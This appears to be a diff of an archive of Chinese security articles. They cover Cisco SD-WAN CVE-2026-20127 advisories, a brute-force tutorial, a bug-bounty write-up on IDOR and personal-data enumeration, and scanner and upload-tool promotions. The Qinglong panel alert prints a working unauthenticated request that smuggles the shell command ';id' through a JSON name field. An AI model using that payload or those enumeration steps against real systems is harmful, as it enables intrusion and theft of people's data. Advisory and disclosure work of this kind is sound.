|
||||
Catalyst SD-WAN 20.13 >= 20.15.4.2
|
||||
|
||||
Catalyst SD-WAN 20.14 >= 20.15.4.2
|
||||
|
||||
Catalyst SD-WAN 20.15 >= 20.15.4.2
|
||||
|
||||
Catalyst SD-WAN 20.16 >= 20.18.2.1
|
||||
|
||||
Catalyst SD-WAN 20.18 >= 20.18.2.1
|
||||
|
||||
对于 20.9 之前的版本，需迁移至受支持的修复版本。
|
||||
|
||||
下载地址：
|
||||
|
||||
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa-EHchtZk
|
||||
|
||||
**05**
|
||||
|
||||
**免责声明**
|
||||
|
||||
> 本文所涉及的任何技术、信息或工具，仅供学习和参考之用。
|
||||
|
||||
> 请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。
|
||||
|
||||
> 作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。
|
||||
|
||||
**06**
|
||||
|
||||
脚本获取
|
||||
|
||||
公众号后台留言：
|
||||
CVE-2026-20127 获取POC脚本
|
||||
|
||||
|
||||
@@ -0,0 +1,102 @@
|
||||
# 【服务端漏洞-访问控制缺失-第三章第一节】身份验证漏洞攻击指南（基础篇）：认证、授权与暴力破解逻辑
|
||||
原创 升斗安全XiuXiu
|
||||
升斗安全XiuXiu 升斗安全 2026-03-05 14:59
|
||||
|
||||
**【文章说明】**
|
||||
- **目的**
|
||||
：本文内容仅为网络安全**技术研究与教育**
|
||||
目的而创作。
|
||||
|
||||
- **红线**
|
||||
：严禁将本文知识用于任何**未授权**
|
||||
的非法活动。使用者必须遵守《网络安全法》等相关法律。
|
||||
|
||||
- **责任**
|
||||
：任何对本文技术的滥用所引发的**后果自负**
|
||||
，与本公众号及作者无关。
|
||||
|
||||
- **免责**
|
||||
：内容仅供参考，作者不对其准确性、完整性作任何担保。
|
||||
|
||||
**阅读即代表您同意以上条款。**
|
||||
|
||||
****
|
||||
前面给大家分享了较多关于权限的内容，今天给大家分享一些有关
|
||||
身份验证漏洞的内容。
|
||||
|
||||
从概念上讲，
|
||||
身份验证漏洞很容易理解。然而，身份验证漏洞可能使攻击者能够访问敏感数据和功能。它们还为后续攻击暴露了额外的攻击面。因此，学习如何识别和利用身份验证漏洞，以及如何绕过常见的防护措施至关重要。
|
||||
|
||||
|
||||
|
||||
在接下来的章节中，你将了解到以下内容：
|
||||
- 网站最常用的身份验证机制。
|
||||
|
||||
- 这些机制中存在的潜在漏洞。
|
||||
|
||||
- 不同身份验证机制的固有漏洞。
|
||||
|
||||
- 由于不当实施而引入的典型漏洞。
|
||||
|
||||
|
||||
首先，我们要弄清楚
|
||||
认证与
|
||||
授权有什么区别？
|
||||
|
||||
认证是验证用户身份是否属实的过程，
|
||||
授权则是核实用户是否有权执行某项操作。
|
||||
|
||||
例如，
|
||||
认证用于确认尝试使用用户名Carlos123访问网站的人，
|
||||
是否确实是创建该账户的本人。
|
||||
|
||||
一旦Carlos123通过认证，其
|
||||
权限将决定
|
||||
他被授权执行的操作范围，这就是授权。例如，他可能被授权访问其他用户的个人信息，或执行删除他人账户等操作。
|
||||
|
||||
然后，我们大概了解下什么是
|
||||
暴力破解攻击
|
||||
|
||||
暴力破解攻击是指攻击者通过系统的试错方法猜测有效用户凭证的过程。这类攻击通常使用用户名和密码的字典列表进行自动化操作。通过自动化此过程，特别是借助专用工具，攻击者有可能以极快的速度进行大量登录尝试。
|
||||
|
||||
暴力破解并非总是指完全随机地猜测用户名和密码。通过运用
|
||||
基本逻辑或
|
||||
公开可获取的信息，攻击者可以优化暴力破解攻击，进行更有依据的猜测。这大大提高了此类攻击的效率。如果网站将基于密码的登录作为验证用户的唯一方法，且未实施充分的暴力破解防护，则极易遭受此类攻击。
|
||||
|
||||
关于
|
||||
用户名暴力破解
|
||||
|
||||
如果用户名符合可识别的模式（例如电子邮件地址），则尤其容易猜测。例如，非常常见的是采用firstname.lastname@somecompany.com格式的企业登录名。然而，即使没有明显的模式，有时即使是高权限账户也会使用可预测的用户名创建，例如admin或administrator。
|
||||
|
||||
在审计过程中，需检查网站是否公开披露了潜在用户名。例如，是否可以在不登录的情况下访问用户个人资料？即使个人资料的实际内容被隐藏，资料中使用的名称有时也与登录用户名相同。还应检查HTTP响应，查看是否有任何电子邮件地址被披露。有时，响应中会包含高权限用户的电子邮件地址，例如管理员或IT支持人员。
|
||||
|
||||
关于
|
||||
密码暴力破解
|
||||
|
||||
密码同样可以被暴力破解，其难度取决于密码的强度。许多网站会采用某种形式的密码策略，强制用户创建高熵密码——理论上至少更难通过纯暴力破解方式攻破。这通常涉及强制要求密码包含：
|
||||
- 最少字符数
|
||||
|
||||
- 大小写字母混合
|
||||
|
||||
- 至少一个特殊字符
|
||||
|
||||
|
||||
然而，尽管高熵密码本身难以被计算机单独破解，但我们可以利用对人类行为的基本了解，来利用用户无意中引入此系统的漏洞。用户通常不会采用随机字符组合来创建强密码，而是会选择一个自己能记住的密码，然后尝试强行将其修改为符合密码策略的形式。例如，如果
|
||||
mypassword不被允许，用户可能会尝试类似
|
||||
Mypassword1!或
|
||||
Myp4$$w0rd的密码。
|
||||
|
||||
在策略要求用户定期更改密码的情况下，用户也通常只对他们偏好的密码进行微小的、可预测的更改。例如，
|
||||
Mypassword1!变成了
|
||||
Mypassword1?或
|
||||
Mypassword2!。
|
||||
|
||||
这种关于可能凭证和可预测模式的了解，意味着暴力破解攻击通常可以比简单地遍历每个可能的字符组合要复杂得多，也因此有效得多。
|
||||
|
||||
今天分享的内容偏理论多一点，但理解以上内容，对接下来的实际操作和一些手法有很大的帮助。没了解过的可以了解下，了解过的也可以重温一下。
|
||||
|
||||
今天就分享到这了。后续这边还会继续分享有关服务端的更多漏洞原理、利用、挖掘方式，感兴趣的可以点下关注。
|
||||
|
||||
觉得文章对你有一丝启发或作用的话，一键三连（点赞、分享、关注），就是对我最大的鼓励，谢谢
|
||||
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
# 【漏洞预警】青龙面板 网站管理系统 dependencies 远程代码执行漏洞
|
||||
by 融云安全-sm
|
||||
by 融云安全-sm 融云攻防实验室 2026-03-06 01:54
|
||||
|
||||
**0x01 阅读须知**
|
||||
|
||||
**融云安全的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！**
|
||||
|
||||
**0x02 漏洞描述**
|
||||
|
||||
青龙面板是一款基于Web的自动化任务管理与网站资源管理工具，旨在帮助用户高效处理各类定时任务、脚本执行与网站运维工作。
|
||||
|
||||
|
||||
|
||||
**0x03 漏洞复现**
|
||||
|
||||
f
|
||||
ofa
|
||||
：
|
||||
icon_hash=="-254502902"
|
||||
|
||||
1.执行id命令访问未授权接口得到结果
|
||||
```
|
||||
POST /Api/dependencies HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
|
||||
Content-Length: 47
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Connection: keep-alive
|
||||
Content-Type: application/json
|
||||
[
|
||||
{
|
||||
"name": ";id",
|
||||
"type": 0
|
||||
}
|
||||
]
|
||||
```
|
||||
```
|
||||
GET /Api/dependencies HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Connection: keep-alive
|
||||
Content-Type: application/json
|
||||
```
|
||||
|
||||
|
||||
|
||||
2.渝融云NTM入侵检测系统已支持青龙面板攻击检测
|
||||
（入侵检测合作可私聊公众号）
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
3.nuclei图形化检测工具和poc已公布在星球
|
||||
|
||||
|
||||
|
||||
**最后给兄弟们推荐下圈子，高质量漏洞利用研究，代码审计圈子，每周至少更新三个0Day/Nday及对应漏洞的批量利用工具，团队内部POC，源码分享，星球不定时更新内外网攻防渗透技巧以及最新学习，SRC研究报告等。**
|
||||
|
||||
**【圈子权益】**
|
||||
|
||||
**1，一年至少200+漏洞Poc及对应漏洞批量利用工具**
|
||||
|
||||
**2，各种漏洞利用工具及后续更新，渗透工具、文档资源分享**
|
||||
|
||||
**3，内部漏洞库情报分享（目前已有1000+poc，会每日更新，包括部分未公开0/1day）**
|
||||
|
||||
**圈子目前价格为59元，现在星球有1000+位师傅相信并选择加入我们**
|
||||
|
||||
****
|
||||
****
|
||||
**0x05 公司简介**
|
||||
|
||||
江西渝融云安全科技有限公司，2017年发展至今，已成为了一家集云安全、物联网安全、数据安全、等保建设、风险评估、信息技术应用创新及网络安全人才培训为一体的本地化高科技公司，是江西省信息安全产业链企业和江西省政府部门重点行业网络安全事件应急响应队伍成员。
|
||||
|
||||
公司现已获得信息安全集成三级、信息系统安全运维三级、风险评估三级等多项资质认证，拥有软件著作权十八项；荣获2020年全国工控安全深度行安全攻防对抗赛三等奖；庆祝建党100周年活动信息安全应急保障优秀案例等荣誉......
|
||||
****
|
||||
|
||||
广告：
|
||||
CNNVD二级和三级申请、续期私聊找我对话，价格便宜童叟无欺！
|
||||
|
||||
**编制：sm**
|
||||
|
||||
**审核：fjh**
|
||||
|
||||
**审核：Dog**
|
||||
|
||||
****
|
||||
**1个1朵********5毛钱**
|
||||
|
||||
**天天搬砖的小M**
|
||||
|
||||
**能不能吃顿好的**
|
||||
|
||||
**就看你们的啦**
|
||||
|
||||
****
|
||||
|
||||
@@ -0,0 +1,181 @@
|
||||
# 【项目实战】如何用一个漏洞赚两笔钱
|
||||
隐雾安全 2026-03-06 01:02
|
||||
|
||||
📝 **编者语**
|
||||
|
||||
很多时候，业务不是“劝退提示”，而是“测试清单”。看到一个功能、一次限制、一个流程，就别急着退场——先问自己：它为了实现这个业务，后台一定多了哪些接口、参数和权限判断？这些地方能不能被我验证一遍？
|
||||
这篇就是从“没法用”开始，顺着业务一路把该测的测出来，最后怒赚5000。
|
||||
|
||||
1
|
||||
|
||||
别一上来就被“劝退”
|
||||
|
||||
**案例一：修改定位导致越权漏洞（500）**
|
||||
|
||||
我打开小程序就被一句话拦在门外：
|
||||
|
||||
“浙江省不在服务范围内，请稍后再试！”
|
||||
|
||||
|
||||
|
||||
|
||||
哦吼测不了，关机下播，要是这么想你就会痛失500大洋，
|
||||
|
||||
这种提示在你眼里不应该是劝退文案，而是一个可验证的业务校验点。你应该立刻判断两件事：
|
||||
|
||||
- 它依赖什么：IP？定位？还是两者混用？
|
||||
|
||||
- 它是“入口提示”还是“后端真限制”（接口层有没有一致校验）
|
||||
|
||||
|
||||
|
||||
绕过他是不是就算一个漏洞？
|
||||
|
||||
说干就干用代理切换网络出口。
|
||||
|
||||
果然成功突破了区域限制
|
||||
|
||||
|
||||
|
||||
这为什么这能写成漏洞？而不只是“我换了个网”？
|
||||
|
||||
因为它带来的价值是：把攻击面从 0 变成 1。
|
||||
原本进不去的系统，被我“注册进来了”，后续才能跑完整业务链路、抓到关键包——是后面两个洞的前置条件。
|
||||
|
||||
怎么说服审核：
|
||||
这不是“地理策略讨论”，而是“准入控制被绕过”，导致未授权用户可完成注册并访问系统功能面。
|
||||
|
||||
既然挖洞，你就要知道这为什么是个洞。
|
||||
|
||||
|
||||
2
|
||||
|
||||
沿着“最值钱的业务流”，找关键参数
|
||||
|
||||
既然是商城，进系统后不需要乱翻，优先盯两条链路：
|
||||
|
||||
- 购买/订单/支付台（最容易带出账户类标识与敏感字段）
|
||||
|
||||
- 个人资料类增删改（收货地址、联系人、发票抬头，最容易出越权）
|
||||
|
||||
|
||||
|
||||
这次两个长ID相关问题，都是这么来的。
|
||||
|
||||
**案例二：敏感信息泄露（3000）**
|
||||
|
||||
点击购买商品跳到支付台后会抓到数据包，其中有字段 loanAccount。
|
||||
|
||||
|
||||
|
||||
测试遇到这种字段需要有一种直觉：
|
||||
|
||||
如果后端用它当“唯一索引”去查用户资料，但没有把它和当前登录态绑定校验，那它就可能变成“传啥回啥”的数据接口。
|
||||
|
||||
我的验证思路
|
||||
|
||||
（**重点：证明机制缺陷，不追求全站跑量**
|
||||
）
|
||||
|
||||
loanAccount 是 10 位空间遍历起来时间过长，这里我们可以偷偷懒不需要、也不可能“全遍历”来证明问题。
|
||||
我们可以固定大部分位数，只动少数位做小窗口验证，再配合“两账号对照”形成闭环。
|
||||
|
||||
- 自己准备两个账号（A/B）
|
||||
|
||||
- 在一个很小的范围里做变动（固定部分位数）
|
||||
|
||||
- 一旦命中返回了姓名/身份证/手机号/银行卡号等字段，就能证明：
|
||||
接口授权模型有问题（ID 可枚举 + 敏感信息可越权获取）
|
||||
|
||||
|
||||
|
||||
我们测试既要证明漏洞也要尽可能减轻自己的工作量：
|
||||
不靠“跑了多少数据”吓人，而靠“返回字段的敏感度 + 机制性缺陷”让风险自解释。
|
||||
|
||||
|
||||
|
||||
|
||||
**案例三：越权删除（1500）**
|
||||
|
||||
经验丰富的测试者，通常会根据一个漏洞看它能不能衍生出其他漏洞，和信息泄露伴生的就是越权漏洞：
|
||||
|
||||
并且根据刚才的测试我们已经证明了越权是存在的，现在需要做的就是证明越权的危害，因为之前的漏洞点我们提交的漏洞是信息泄露，那接下来我们就需要寻找新的功能点来证明越权的危害。
|
||||
|
||||
找到收货地址的功能点，测试的方式非常朴素：增删改查必测，尤其是 DELETE。
|
||||
|
||||
|
||||
|
||||
1. 账号A抓到删除自己地址的 DELETE 请求
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
2.账号B正常进入地址管理拿到自己的地址ID
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
3。回到账号A，把 URL/路径里的地址ID替换成账号B的
|
||||
|
||||
|
||||
|
||||
结果：删除成功
|
||||
|
||||
|
||||
|
||||
这里需要强调一个误区：
|
||||
|
||||
这个漏洞的成立，不依赖“遍历长ID”。
|
||||
只要证明“拿到一次ID后可以越权删改”，就说明服务端缺少资源归属校验。
|
||||
|
||||
顺带一提，“GET型传参，路径不可忽视”很关键：很多系统把权限校验写在 body 上，却忘了路径参数也是输入。
|
||||
|
||||
3
|
||||
|
||||
如何提高自己的漏洞通过率
|
||||
|
||||
我的经验是：
|
||||
|
||||
**我不要对抗审核，而是帮审核省时间**
|
||||
|
||||
每个洞都交付一个“最小闭环证据链”，让审核不用脑补。
|
||||
|
||||
- 前置条件：账号A/账号B分别是谁
|
||||
|
||||
- 关键点：哪个参数是资源标识
|
||||
|
||||
- 对照操作：只改一个点（替换ID/小范围变动）
|
||||
|
||||
- 结果证据：返回了谁的数据/删掉了谁的资源
|
||||
|
||||
- 一句话结论：未做登录态绑定/资源归属校验/准入一致性校验
|
||||
|
||||
- 影响：敏感信息泄露 / 他人数据被破坏 / 攻击面扩大
|
||||
|
||||
|
||||
|
||||
这样写，审核“信不信”往往不是立场问题，而是证据链是否闭环的问题。
|
||||
|
||||
|
||||
🎁 文末福利
|
||||
|
||||
联系客服获取《SRC高质量报告模版》
|
||||
|
||||
**!**
|
||||
|
||||
|
||||
|
||||
|
||||
**微信号丨**
|
||||
Hiddenfog001
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
# 【高危漏洞预警】Cisco Catalyst SD-WAN 身份验证绕过漏洞CVE-2026-20127
|
||||
cexlife
|
||||
cexlife 飓风网络安全 2026-03-05 13:22
|
||||
|
||||
|
||||
|
||||
漏洞描述:
|
||||
|
||||
Ciѕсо Cаtаlуѕt SD-ＷAN是思科推出的企业级软件定义广域网解决方案,旨在通过集中式管理和自动化功能简化分支机构网络部署。该系统提供智能路径选择、应用感知路由、安全连接和零接触部署等功能,帮助企业实现网络流量的优化管理和安全策略的统一编排,Cаtаlуѕt SD-WAN Cоntrоllеr负责网络控制平面的决策制定,而Mаnаɡеr则提供集中化的管理和监控界面,两者共同构成SD-WAN架构的核心控制组件,该漏洞源于对等身份验证逻辑的实现错误,未经身份验证的攻击者可利用该漏洞向受影响系统发送精心构造的请求,绕过身份验证机制获得高权限的非rооt访问权限,进而访问NETCONF接口,对SD-WAN网络架构的配置进行任意篡改严重破坏网络的完整性和可用性
|
||||
|
||||
攻击场景：
|
||||
|
||||
攻击者可通过网络远程发送特制请求利用身份验证逻辑缺陷绕过认证机制,获取对设备的高权限非root访问权限,进而通过NETCONF接口对SD-WAN网络配置进行任意篡改
|
||||
|
||||
影响产品:
|
||||
|
||||
1、 Catalyst SD-WAN < 20.9
|
||||
|
||||
2、 Catalyst SD-WAN 20.9 < 20.9.8.2
|
||||
|
||||
3、 Catalyst SD-WAN 20.11 < 20.12.6.1
|
||||
|
||||
4、 Catalyst SD-WAN 20.12.5 < 20.12.5.3
|
||||
|
||||
5、 Catalyst SD-WAN 20.12.6 < 20.12.6.1
|
||||
|
||||
6、 Catalyst SD-WAN 20.13 < 20.15.4.2
|
||||
|
||||
7、 Catalyst SD-WAN 20.14 < 20.15.4.2
|
||||
|
||||
8、 Catalyst SD-WAN 20.15 < 20.15.4.2
|
||||
|
||||
9、 Catalyst SD-WAN 20.16 < 20.18.2.1
|
||||
|
||||
10、 Catalyst SD-WAN 20.18 < 20.18.2.1
|
||||
|
||||
检测方法：
|
||||
|
||||
检查Cisco SD-WAN Controller和Manager是否收到最新的安全更新,并确保配置符合CISA的安全指导
|
||||
|
||||
修复建议：
|
||||
|
||||
补丁名称:
|
||||
|
||||
Ciѕсо SD-ＷAN认证绕过漏洞— 持许可证用户至官网在线更新最新版本
|
||||
|
||||
文件链接：
|
||||
|
||||
https://www.cisco.com/site/cn/zh/solutions/networking/sdwan/index.html
|
||||
|
||||
建议措施:
|
||||
|
||||
立即升级系统:所有受影响的Cisco Catalyst SD-WAN Controller和Manager必须升级至以下修复版本:
|
||||
|
||||
Catalyst SD-WAN 20.9 >= 20.9.8.2
|
||||
|
||||
Catalyst SD-WAN 20.11 >= 20.12.6.1
|
||||
|
||||
Catalyst SD-WAN 20.12.5 >= 20.12.5.3
|
||||
|
||||
Catalyst SD-WAN 20.12.6 >= 20.12.6.1
|
||||
|
||||
Catalyst SD-WAN 20.13 >= 20.15.4.2
|
||||
|
||||
Catalyst SD-WAN 20.14 >= 20.15.4.2
|
||||
|
||||
Catalyst SD-WAN 20.15 >= 20.15.4.2
|
||||
|
||||
Catalyst SD-WAN 20.16 >= 20.18.2.1
|
||||
|
||||
Catalyst SD-WAN 20.18 >= 20.18.2.1
|
||||
|
||||
|
||||
实施网络隔离与访问控制：在补丁未完成前，建议将 SD-WAN 控制器置于隔离区域，仅允许受信任 IP 访问，并启用防火墙策略限制对管理接口（如 HTTPS/443、NETCONF/830）的外部访问
|
||||
|
||||
|
||||
启用日志监控与异常检测：部署 SIEM 系统，重点监控对 /api/v1/、/netconf 等敏感接口的异常请求行为，特别是无认证凭据的高权限操作尝试
|
||||
|
||||
|
||||
@@ -0,0 +1,301 @@
|
||||
# 一款集资产管理与漏洞扫描于一体的网络安全评估系统|网络安全扫描利器
|
||||
Valerian7
|
||||
Valerian7 渗透安全HackTwo 2026-03-05 16:00
|
||||
|
||||
0x01 简介
|
||||
|
||||
梦鉴网络安全评估系统（Mj_Scan）是一款功能强大的多功能漏洞扫描平台，集资产管理、主机探测、端口扫描、服务指纹识别、漏洞扫描及弱密码检测等多种安全检测功能于一体。系统通过整合丰富的指纹库和漏洞库，实现对网络资产的自动化发现与安全评估，能够帮助安全人员快速识别网络中的潜在风险与安全隐患。
|
||||
|
||||
|
||||
|
||||
注意：
|
||||
现在只对常读和星标的公众号才展示大图推送，建议大家把
|
||||
**渗透安全HackTwo**
|
||||
"**设为****星标⭐️**
|
||||
"
|
||||
**否****则可能就看不到了啦！**
|
||||
|
||||
**下载地址在末尾 #渗透安全HackTwo**
|
||||
|
||||
0x02
|
||||
功能介绍
|
||||
|
||||
✨
|
||||
功能模块详解
|
||||
### 1. 系统首页 (index.html)
|
||||
|
||||
**核心功能**
|
||||
：系统概览、资源监控、任务统计
|
||||
|
||||
|
||||
|
||||
**实现方式**
|
||||
：
|
||||
- 使用Tabler UI框架构建响应式布局
|
||||
|
||||
- 通过AJAX请求后端API获取实时数据
|
||||
|
||||
- 使用ApexCharts绘制系统资源使用图表
|
||||
|
||||
- 显示系统运行状态、任务统计和资源利用率
|
||||
|
||||
### 2. 资产管理 (asset-management.html)
|
||||
|
||||
|
||||
|
||||
**核心功能**
|
||||
：资产分组管理、资产信息管理
|
||||
|
||||
**实现方式**
|
||||
：
|
||||
- 左侧资产分组树状结构
|
||||
|
||||
- 右侧资产列表表格，支持分页和搜索
|
||||
|
||||
- 模态框形式的资产添加/编辑界面
|
||||
|
||||
- 支持资产状态监控和分类管理
|
||||
|
||||
### 3. 主机探测 (host-detection.html)
|
||||
|
||||
**核心功能**
|
||||
：网络主机存活探测
|
||||
|
||||
|
||||
### 实现方式：
|
||||
- 支持多种探测方式（ICMP、TCP SYN、ARP等）
|
||||
|
||||
- 可配置探测参数（超时时间、并发数等）
|
||||
|
||||
- 实时显示探测进度和结果
|
||||
|
||||
- 支持探测结果导出
|
||||
|
||||
### 4. 端口检测 (port-detection.html)
|
||||
|
||||
|
||||
### 5. 服务指纹 (service-fingerprint.html)
|
||||
|
||||
|
||||
### 7. 操作系统扫描 (os_scan.html)
|
||||
|
||||
|
||||
### 9. 网络管理 (network-management.html)
|
||||
|
||||
|
||||
### 10. 任务管理
|
||||
|
||||
|
||||
### 11. 系统维护 (system-maintenance.html)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### 12. 用户管理 (user-management.html)
|
||||
|
||||
|
||||
### 13. 日志中心 (log-center.html)
|
||||
|
||||
|
||||
### 14. 规则更新 (rule-update.html)
|
||||
|
||||
|
||||
#### 服务指纹数据库 (service-fingerprint-db.html)
|
||||
|
||||
|
||||
#### 漏洞POC数据库 (vulnerability-poc.html)
|
||||
|
||||
|
||||
###
|
||||
|
||||
0x03更新说明
|
||||
```
|
||||
#修复一些错误
|
||||
#压缩包解压密码联系漠南网安实验室开发团队获取
|
||||
#小白可联系开发团队直接获取集成版本操作系统直用
|
||||
```
|
||||
|
||||
|
||||
0x04 使用介绍
|
||||
|
||||
📦安装
|
||||
指南
|
||||
### 环境要求
|
||||
- 操作系统：Linux (CentOS 8+, Ubuntu 18.04+)
|
||||
|
||||
- Python：3.9+
|
||||
|
||||
- 数据库：SQLite 3.8+ 或 MySQL 5.7+
|
||||
|
||||
- Web服务器：Nginx 1.18+
|
||||
|
||||
- 网络工具：N/A
|
||||
|
||||
### 部署步骤
|
||||
### 安装依赖
|
||||
|
||||
|
||||
```
|
||||
# 安装系统依赖
|
||||
sudo yum install -y epel-release
|
||||
sudo yum install -y python3 python3-pip nginx nmap masscan
|
||||
# 安装Python依赖
|
||||
cd /mj_scan/backend
|
||||
pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
**配置Nginx**
|
||||
```
|
||||
# 创建Nginx配置
|
||||
sudo vi /etc/nginx/conf.d/mj_scan.conf
|
||||
```
|
||||
|
||||
配置内容：
|
||||
```
|
||||
server {
|
||||
listen 8080;
|
||||
server_name localhost;
|
||||
root /mj_scan/frontend;
|
||||
index index.html;
|
||||
location / {
|
||||
try_files $uri $uri/ /index.html;
|
||||
}
|
||||
location /api/ {
|
||||
proxy_pass http://localhost:5000/api/;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**启动服务**
|
||||
```
|
||||
# 启动后端服务
|
||||
cd /mj_scan/backend
|
||||
python3 app.py &
|
||||
# 启动Nginx服务
|
||||
sudo systemctl start nginx
|
||||
sudo systemctl enable nginx
|
||||
```
|
||||
|
||||
**设置开机自启动**
|
||||
```
|
||||
# 使用start_all.sh脚本
|
||||
sudo cp /mj_scan/start_all.sh /etc/init.d/
|
||||
sudo chmod +x /etc/init.d/start_all.sh
|
||||
sudo update-rc.d start_all.sh defaults
|
||||
```
|
||||
### 访问方式
|
||||
- 前端界面：http://localhost:8080
|
||||
|
||||
- 后端API：http://localhost:5000/api
|
||||
|
||||
- 默认登录：admin / admin123
|
||||
|
||||
### 数据库连接失败问题：
|
||||
- 检查数据库服务是否运行
|
||||
|
||||
- 验证数据库连接参数是否正确
|
||||
|
||||
- 确认数据库用户权限
|
||||
|
||||
- 检查数据库文件权限
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**0x05 内部VIP星球介绍-V1.4（福利）**
|
||||
|
||||
|
||||
如果你想学习更多**渗透测试技术/应急溯源/免杀工具/挖洞SRC赚取漏洞赏金/红队打点等**
|
||||
欢迎加入我们**内部星球**
|
||||
可获得内部工具字典和享受内部资源和
|
||||
内部交流群，
|
||||
**每天更新1day/0day漏洞刷分上分****(2026POC更新至5412+)**
|
||||
**，**
|
||||
包含全网一些**付费扫描****工具及内部原创的Burp自动化漏****洞探测插件/漏扫工具等，AI代审工具，最新挖洞技巧等**
|
||||
。Shadon/
|
||||
Zoomeye
|
||||
/Quake/
|
||||
Fofa高级会员/
|
||||
AI账号/
|
||||
CTFShow
|
||||
等各种账号会员共享。详情点击下方链接了解，觉得价格高的师傅后台回复"
|
||||
**星球**
|
||||
"有优惠券名额有限先到先得
|
||||
**❗️**
|
||||
啥都有
|
||||
**❗️**
|
||||
全网资源
|
||||
最新
|
||||
最丰富
|
||||
**❗️****（🤙截止目前已有2500+多位师傅选择加入❗️早加入早享受）**
|
||||
|
||||
****
|
||||
最新漏洞情报分享：
|
||||
https://t.zsxq.com/p122j
|
||||
|
||||
****
|
||||
|
||||
**👉****点击了解加入-->>内部VIP知识星球福利介绍V1.5版本-1day/0day漏洞库及内部资源更新**
|
||||
|
||||
****
|
||||
|
||||
|
||||
结尾
|
||||
|
||||
# 免责声明
|
||||
|
||||
|
||||
# 获取方法
|
||||
|
||||
|
||||
**公众号回复20260306获取下载**
|
||||
|
||||
# 最后必看-免责声明
|
||||
|
||||
|
||||
|
||||
文章中的案例或工具仅面向合法授权的企业安全建设行为，如您需要测试内容的可用性，请自行搭建靶机环境，勿用于非法行为。如
|
||||
用于其他用途，由使用者承担全部法律及连带责任，与作者和本公众号无关。
|
||||
本项目所有收录的poc均为漏洞的理论判断，不存在漏洞利用过程，不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。
|
||||
如您在使用本工具或阅读文章的过程中存在任何非法行为，您需自行承担相应后果，我们将不承担任何法律及连带责任。本工具或文章或来源于网络，若有侵权请联系作者删除，请在24小时内删除，请勿用于商业行为，自行查验是否具有后门，切勿相信软件内的广告！
|
||||
|
||||
|
||||
|
||||
# 往期推荐
|
||||
|
||||
|
||||
**1.内部VIP知识星球福利介绍V1.5（AI自动化）**
|
||||
|
||||
**2.CS4.8-CobaltStrike4.8汉化+插件版**
|
||||
|
||||
**3.全新升级BurpSuite2026.2专业(稳定版)**
|
||||
|
||||
**4. 最新xray1.9.11高级版下载Windows/Linux**
|
||||
|
||||
**5. 最新HCL AppScan Standard**
|
||||
|
||||
|
||||
渗透安全HackTwo
|
||||
|
||||
微信号：关注公众号获取
|
||||
|
||||
后台回复星球加入：
|
||||
知识星球
|
||||
|
||||
扫码关注 了解更多
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
上一篇文章：
|
||||
[Nacos配置文件攻防思路总结|揭秘Nacos被低估的攻击面](https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247492839&idx=1&sn=b6f091114fbd8e8922153a996c8f4f1c&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
@@ -1,90 +1,113 @@
|
||||
# 专业的文件上传漏洞检测工具 | 支持263+绕过技术、代理抓包、动态扫描
|
||||
Gentle-bae
|
||||
Gentle-bae 李白你好 2026-03-03 00:02
|
||||
Gentle-bae 无影安全实验室 2026-03-05 12:38
|
||||
|
||||
**免责声明：**
|
||||
由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号李白你好及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
|
||||
免责声明：
|
||||
本篇文章仅用于技术交流，
|
||||
请勿利用文章内的相关技术从事非法测试
|
||||
，
|
||||
由于传播、利用本公众号无影安全
|
||||
实验室所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号无影安全实验室及作者不为此承担任何责任，一旦造成后果请自行承担！
|
||||
如有侵权烦请告知，我们会立即删除并致歉。谢谢！
|
||||
所有工具安全性自测！！！
|
||||
**VX：smile62157**
|
||||
|
||||
## 工具介绍
|
||||
|
||||
UploadRanger v1.0.0一款专业的文件上传漏洞检测工具，支持多种绕过技术检测和自动化扫描。作者：Gentle-bae
|
||||
|
||||
朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把"**无影安全实验室**
|
||||
"设为星标，这样更新文章也能第一时间推送！
|
||||
|
||||
|
||||
|
||||
|
||||
安全工具
|
||||
|
||||
|
||||
|
||||
## 0x01 工具介绍
|
||||
|
||||
UploadRanger v1.0.0一款专业的文件上传漏洞检测工具，支持多种绕过技术检测和自动化扫描。
|
||||
|
||||
